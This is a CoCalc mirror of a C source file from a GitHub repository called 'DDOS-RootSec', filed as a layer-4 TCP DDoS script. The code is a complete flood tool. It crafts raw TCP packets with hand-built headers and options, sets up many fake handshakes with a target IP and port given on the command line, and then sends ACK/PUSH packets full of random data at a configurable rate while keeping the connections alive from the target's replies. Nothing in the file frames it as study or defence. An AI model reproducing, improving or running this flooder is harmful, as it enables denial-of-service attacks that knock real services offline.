Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/tcp (1-я копия).c
4565 views
1
//@shiftwise
2
#define _GNU_SOURCE
3
#include <stdio.h>
4
#include <stdlib.h>
5
#include <unistd.h>
6
#include <sys/ioctl.h>
7
#include <sys/socket.h>
8
#include <arpa/inet.h>
9
#include <fcntl.h>
10
#include <netpacket/packet.h>
11
#include <net/if.h>
12
#include <linux/if_ether.h>
13
#include <netinet/tcp.h>
14
#include <netinet/ip.h>
15
#include <string.h>
16
#include <time.h>
17
#include <pthread.h>
18
#include <assert.h>
19
#include <netdb.h>
20
//@shiftwise
21
#define NANOS 1000000000
22
23
uint64_t mytime()
24
{
25
struct timespec ts;
26
clock_gettime(CLOCK_MONOTONIC, &ts);
27
uint64_t time_in_micros = (1000000000L * ts.tv_sec + (ts.tv_nsec));
28
return time_in_micros;
29
}
30
//@shiftwise
31
struct connection
32
{
33
int fd;
34
in_addr_t saddr;
35
in_addr_t daddr;
36
uint16_t sport;
37
uint16_t dport;
38
uint32_t seq;
39
uint32_t ack;
40
uint32_t sseq;
41
uint8_t state;
42
uint32_t sent;
43
uint64_t time;
44
struct sockaddr_in addr;
45
uint32_t window;
46
uint8_t tries;
47
uint8_t resets;
48
uint32_t pending;
49
uint32_t tsval;
50
uint32_t tsecr;
51
uint64_t trip;
52
uint8_t re;
53
uint64_t resp;
54
uint16_t fake_win;
55
uint8_t scaling;
56
uint64_t rett;
57
};
58
59
/*
60
96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
61
*/
62
struct pseudo_header
63
{
64
u_int32_t source_address;
65
u_int32_t dest_address;
66
u_int8_t placeholder;
67
u_int8_t protocol;
68
u_int16_t tcp_length;
69
};
70
71
/*
72
Generic checksum calculation function
73
*/
74
unsigned short csum(unsigned short *ptr, int nbytes)
75
{
76
register long sum;
77
unsigned short oddbyte;
78
register short answer;
79
80
sum = 0;
81
while (nbytes > 1)
82
{
83
sum += *ptr++;
84
nbytes -= 2;
85
}
86
if (nbytes == 1)
87
{
88
oddbyte = 0;
89
*((u_char *)&oddbyte) = *(u_char *)ptr;
90
sum += oddbyte;
91
}
92
93
sum = (sum >> 16) + (sum & 0xffff);
94
sum = sum + (sum >> 16);
95
answer = (short)~sum;
96
97
return (answer);
98
}
99
100
int tcp_packet(char *datagram, struct connection *conn, uint32_t src, uint32_t dst, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t flags, char *data, size_t data_len)
101
{
102
conn->trip = mytime() / 1000000;
103
104
uint8_t optsize = (flags & TH_SYN) ? 20 : 12;
105
106
uint16_t tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len + optsize;
107
108
struct iphdr *iph = (struct iphdr *)datagram;
109
iph->version = 4;
110
iph->ihl = 5;
111
iph->frag_off = htons(IP_DF);
112
iph->ttl = 64;
113
iph->tos = 0;
114
iph->tot_len = tot_len;
115
iph->id = htons(10000 + rand() % 55535);
116
iph->check = 0;
117
iph->protocol = 6;
118
iph->saddr = src;
119
iph->daddr = dst;
120
121
struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct iphdr));
122
tcph->source = sport;
123
tcph->dest = dport;
124
tcph->seq = htonl(seq);
125
tcph->ack_seq = htonl(ack);
126
tcph->doff = 5 + optsize / 4;
127
tcph->syn = (flags & TH_SYN) ? 1 : 0;
128
tcph->urg = 0;
129
tcph->ack = (flags & TH_ACK) ? 1 : 0;
130
tcph->psh = (flags & TH_PUSH) ? 1 : 0;
131
tcph->fin = (flags & TH_FIN) ? 1 : 0;
132
tcph->rst = 0;
133
tcph->window = htons(32168 + (rand() % 22447));
134
tcph->urg_ptr = 0;
135
tcph->check = 0;
136
memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + optsize, data, data_len);
137
138
uint32_t tsval = htonl(conn->tsval);
139
uint32_t tsecr = htonl(conn->tsecr);
140
141
if (flags & TH_SYN)
142
{
143
144
uint16_t mss[] = {
145
1460
146
};
147
148
uint8_t scaling[] = {
149
7,
150
8,
151
9};
152
153
uint16_t sel_mss = htons(mss[rand() % 1]);
154
155
char optss[20];
156
memcpy(optss, "\x02\x04\x05\x64\x01\x01\x08\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x03\x09", 20);
157
memcpy(optss + 2, &sel_mss, 2);
158
optss[19] = scaling[rand() % 3];
159
160
memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr), optss, 20);
161
memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + 8, &tsval, 4);
162
}
163
else
164
{
165
datagram[sizeof(struct iphdr) + sizeof(struct tcphdr)] = 0x01;
166
datagram[sizeof(struct iphdr) + sizeof(struct tcphdr) + 1] = 0x01;
167
datagram[sizeof(struct iphdr) + sizeof(struct tcphdr) + 2] = 0x08;
168
datagram[sizeof(struct iphdr) + sizeof(struct tcphdr) + 3] = 0x0a;
169
170
memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + 4, &tsval, 4);
171
memcpy(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + 4 + 4, &tsecr, 4);
172
}
173
174
//printf("TSval %lu TSecr %lu\n", conn->tsval, conn->tsecr);
175
176
struct pseudo_header psh;
177
178
psh.source_address = iph->saddr;
179
psh.dest_address = iph->daddr;
180
psh.placeholder = 0;
181
psh.protocol = IPPROTO_TCP;
182
psh.tcp_length = htons(sizeof(struct tcphdr) + data_len + optsize);
183
184
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + data_len + optsize;
185
char *pseudogram = malloc(psize);
186
memset(pseudogram, 0, psize);
187
188
memcpy(pseudogram, (char *)&psh, sizeof(struct pseudo_header));
189
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + data_len + optsize);
190
iph->check = 0;
191
//iph->check = csum((unsigned short *)datagram, tot_len);
192
tcph->check = csum((unsigned short *)pseudogram, psize);
193
free(pseudogram);
194
195
return tot_len;
196
}
197
198
int data_size = 1300;
199
int cons = 1;
200
int pps = 10;
201
202
void tohex(unsigned char *in, size_t insz, char *out, size_t outsz)
203
{
204
unsigned char *pin = in;
205
const char *hex = "0123456789ABCDEF";
206
char *pout = out;
207
for (; pin < in + insz; pout += 2, pin++)
208
{
209
pout[0] = hex[(*pin >> 4) & 0xF];
210
pout[1] = hex[*pin & 0xF];
211
if (pout + 3 - out > outsz)
212
{
213
/* Better to truncate output string than overflow buffer */
214
/* it would be still better to either return a status */
215
/* or ensure the target buffer is large enough and it never happen */
216
break;
217
}
218
}
219
pout[-1] = 0;
220
}
221
222
int amax = 0;
223
224
#define BUFSIZE 4096
225
#define VLEN 5
226
227
char *strtokm(char *input, char *delimiter, char **string)
228
{
229
if (input != NULL)
230
*string = input;
231
232
if (*string == NULL)
233
return *string;
234
235
char *end = strstr(*string, delimiter);
236
if (end == NULL)
237
{
238
char *temp = *string;
239
*string = NULL;
240
return temp;
241
}
242
243
char *temp = *string;
244
245
*end = '\0';
246
*string = end + strlen(delimiter);
247
return temp;
248
}
249
250
int main(int argc, char *argv[])
251
{
252
253
setbuf(stdout, NULL);
254
srand(time(NULL));
255
256
if (argc < 6)
257
{
258
return 0;
259
}
260
261
cons = atoi(argv[3]);
262
data_size = atoi(argv[4]);
263
pps = atoi(argv[5]);
264
265
struct timespec t;
266
clock_gettime(CLOCK_MONOTONIC, &t);
267
268
int raw_fd = socket(AF_INET, SOCK_RAW | SOCK_NONBLOCK, IPPROTO_TCP);
269
270
if (raw_fd < 1)
271
{
272
perror("socket");
273
return 0;
274
}
275
276
// IP_HDRINCL to tell the kernel that headers are included in the packet
277
int one = 1;
278
const int *val = &one;
279
280
if (setsockopt(raw_fd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)
281
{
282
perror("Error setting IP_HDRINCL");
283
exit(0);
284
}
285
286
uint64_t start_time = mytime();
287
//@shiftwise
288
uint32_t sends = 0;
289
uint32_t sentt = 0;
290
uint32_t recvs = 0;
291
uint64_t send_time = 0;
292
uint64_t adapt_time = 0;
293
double bandwidth = 0;
294
295
char datagram[1500];
296
memset(datagram, 0, 1500);
297
char packet[1450];
298
memset(packet, 0, 1450);
299
300
struct sockaddr_in source, dest;
301
302
struct mmsghdr msgs[VLEN];
303
struct iovec iovecs[VLEN];
304
char bufs[VLEN][BUFSIZE + 1];
305
306
struct connection conns[cons];
307
memset(conns, 0, sizeof(struct connection) * cons);
308
int curr = 0;
309
int active = 0;
310
311
uint32_t dest_addr = inet_addr(argv[1]);
312
uint16_t dest_port = htons(atoi(argv[2]));
313
314
int64_t r = NANOS / pps;
315
316
uint64_t penalty = 0;
317
struct timespec tr;
318
319
uint64_t delay = 0;
320
uint64_t newDelay = 0;
321
322
uint64_t conni = 0;
323
324
int fdr = open("/dev/urandom", O_RDONLY);
325
//@shiftwisе
326
while (1)
327
{
328
329
uint64_t mytime1 = mytime();
330
331
if (mytime1 - send_time >= 1000000000)
332
{
333
send_time = mytime1;
334
335
printf("sends = %i pps = %i recvs = %i cons %i bandwidth=%.2fMbit/s\n", sends, pps, recvs, cons, (bandwidth / 1024.0 / 1024.0) * 8.0);
336
337
sends = 0;
338
recvs = 0;
339
bandwidth = 0;
340
}
341
if (active > 0) {
342
if (mytime() - delay >= r) {
343
delay = mytime();
344
while (1) {
345
struct connection *conn = &conns[conni % cons];
346
347
if (conn->state == 2) {
348
if (mytime() - conn->resp >= 1000000000 && data_size < 1333) {
349
//printf("Reset\n");
350
conn->state = 0;
351
curr--;
352
active--;
353
break;
354
}
355
356
char b[1500];
357
read(fdr, b, 1500);
358
359
memcpy(b, "\x19\x00\xd4\x02\x12\x33\x31\x2e\x32\x31\x34\x2e\x32\x34\x34\x2e\x31\x39\x00\x46\x4d\x4c\x00\x63\xdd\x01\x01\x00\x11\x22\x33", 31);
360
361
int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK | TH_PUSH, b, data_size);
362
sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));
363
bandwidth += datagram_len;
364
sentt++;
365
sends++;
366
367
conn->seq += data_size;
368
conni++;
369
break;
370
}
371
conni++;
372
}
373
}
374
}
375
//@shiftwisе
376
for (int i = 0; i < cons; i++) {
377
struct connection *conn = &conns[i];
378
379
if (conn->state > 1 || (conn->state == 1 && mytime() - conn->time < 1000000000))
380
continue;
381
382
if (mytime() - newDelay < 80000000)
383
continue;
384
385
newDelay = mytime();
386
387
int cfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
388
struct sockaddr_in addr = {0}, laddr = {0};
389
addr.sin_family = AF_INET;
390
addr.sin_addr.s_addr = inet_addr("1.1.1.1");
391
addr.sin_port = htons(80);
392
connect(cfd, (struct sockaddr *)&addr, sizeof(addr));
393
int l = sizeof(laddr);
394
getsockname(cfd, (struct sockaddr *)&laddr, &l);
395
close(cfd);
396
397
conn->saddr = laddr.sin_addr.s_addr;
398
conn->sport = rand() % 0xFFFF;
399
conn->daddr = dest_addr;
400
conn->dport = dest_port;
401
conn->state = 0;
402
memcpy(&conn->addr, &addr, sizeof(addr));
403
404
conn->tsval = 124127841 + (rand() % 124127841);
405
conn->tsecr = 0;
406
conn->seq = 1247124 + rand() % 127849214;
407
conn->ack = 0;
408
409
int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_SYN, "", 0);
410
411
//printf("Syn %d\n", conn->sport);
412
413
conn->state = 1;
414
conn->time = mytime();
415
bandwidth += datagram_len;
416
sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));
417
curr++;
418
419
if (data_size == 1333) {
420
conn->seq = rand();
421
conn->ack = rand();
422
423
424
425
conn->state = 2;
426
active++;
427
conn->window = 64400 * 1 << 7;
428
conn->scaling = 7;
429
int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK, "", 0);
430
sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));
431
bandwidth += datagram_len;
432
sentt++;
433
sends++;
434
}
435
}
436
437
int off = 0;
438
439
memset(msgs, 0, sizeof(msgs));
440
for (int i = 0; i < VLEN; i++)
441
{
442
iovecs[i].iov_base = bufs[i];
443
iovecs[i].iov_len = BUFSIZE;
444
msgs[i].msg_hdr.msg_iov = &iovecs[i];
445
msgs[i].msg_hdr.msg_iovlen = 1;
446
}
447
struct timespec timeout;
448
timeout.tv_sec = 0;
449
timeout.tv_nsec = 0;
450
int retval;
451
do {
452
retval = recvmmsg(raw_fd, msgs, VLEN, MSG_DONTWAIT, &timeout);
453
if (retval == -1)
454
{
455
break;
456
}
457
458
for (int i = 0; i < retval; i++)
459
{
460
461
int rcvd = msgs[i].msg_len;
462
char *buf = bufs[i];
463
464
if (rcvd > 20)
465
{
466
struct iphdr *iph = (struct iphdr *)(buf + off);
467
if (iph->protocol == 6 && iph->saddr == dest_addr)
468
{
469
recvs++;
470
471
struct tcphdr *tcph = (struct tcphdr *)(buf + off + sizeof(struct iphdr));
472
473
474
475
for (int j = 0; j < cons; j++)
476
{
477
struct connection *conn = &conns[j];
478
479
if (conn->state == 0)
480
continue;
481
482
//printf("%d %d %d %d %d\n", htons(tcph->source), htons(dest_port), htons(tcph->dest), conn->sport, htons(conn->sport));
483
484
if (tcph->source == dest_port && tcph->dest == conn->sport) {
485
486
conn->resp = mytime();
487
488
489
490
if (tcph->ack) {
491
492
493
uint8_t *p = (uint8_t *)tcph + 20; // or sizeof (struct tcphdr)
494
uint8_t *end = (uint8_t *)tcph + tcph->doff * 4;
495
while (p < end)
496
{
497
uint8_t kind = *p++;
498
if (kind == 0)
499
{
500
break;
501
}
502
if (kind == 1)
503
{
504
// No-op option with no length.
505
continue;
506
}
507
uint8_t size = *p++;
508
if (kind == 8)
509
{
510
conn->tsecr = htonl(*(uint32_t *)p);
511
conn->tsval = conn->tsecr + 1;
512
}
513
p += (size - 2);
514
}
515
516
if (tcph->syn) {
517
518
uint8_t *p = (uint8_t *)tcph + 20; // or sizeof (struct tcphdr)
519
uint8_t *end = (uint8_t *)tcph + tcph->doff * 4;
520
uint16_t scaling = 1;
521
while (p < end)
522
{
523
uint8_t kind = *p++;
524
if (kind == 0)
525
{
526
break;
527
}
528
if (kind == 1)
529
{
530
// No-op option with no length.
531
continue;
532
}
533
uint8_t size = *p++;
534
if (kind == 3)
535
{
536
scaling = *p;
537
}
538
p += (size - 2);
539
}
540
541
conn->seq = htonl(tcph->ack_seq);
542
conn->ack = htonl(tcph->seq) + 1;
543
544
545
546
conn->state = 2;
547
conn->rett = mytime();
548
active++;
549
conn->window = htons(tcph->window) * 1 << scaling;
550
conn->scaling = scaling;
551
int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK, "", 0);
552
sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));
553
bandwidth += datagram_len;
554
sentt++;
555
sends++;
556
}
557
558
int tcpdatalen = ntohs(iph->tot_len) - (tcph->doff * 4) - (iph->ihl * 4);
559
560
if (tcpdatalen > 0) {
561
if (mytime() - conn->rett > 500000000) {
562
conn->rett = mytime();
563
conn->ack += tcpdatalen;
564
int datagram_len = tcp_packet(datagram, conn, conn->saddr, conn->daddr, conn->sport, conn->dport, conn->seq, conn->ack, TH_ACK, "", 0);
565
sendto(raw_fd, datagram, datagram_len, 0, (struct sockaddr *)&conn->addr, sizeof(struct sockaddr_in));
566
bandwidth += datagram_len;
567
sentt++;
568
sends++;
569
}
570
}
571
}else {
572
if (tcph->rst) {
573
if (conn->resets++ >= 10000) {
574
conn->state = 0;
575
conn->resets = 0;
576
curr--;
577
active--;
578
}
579
}
580
}
581
break;
582
}
583
}
584
}
585
}
586
}
587
} while (retval == VLEN);
588
}
589
return 0;
590
}
591
//@shiftwise
592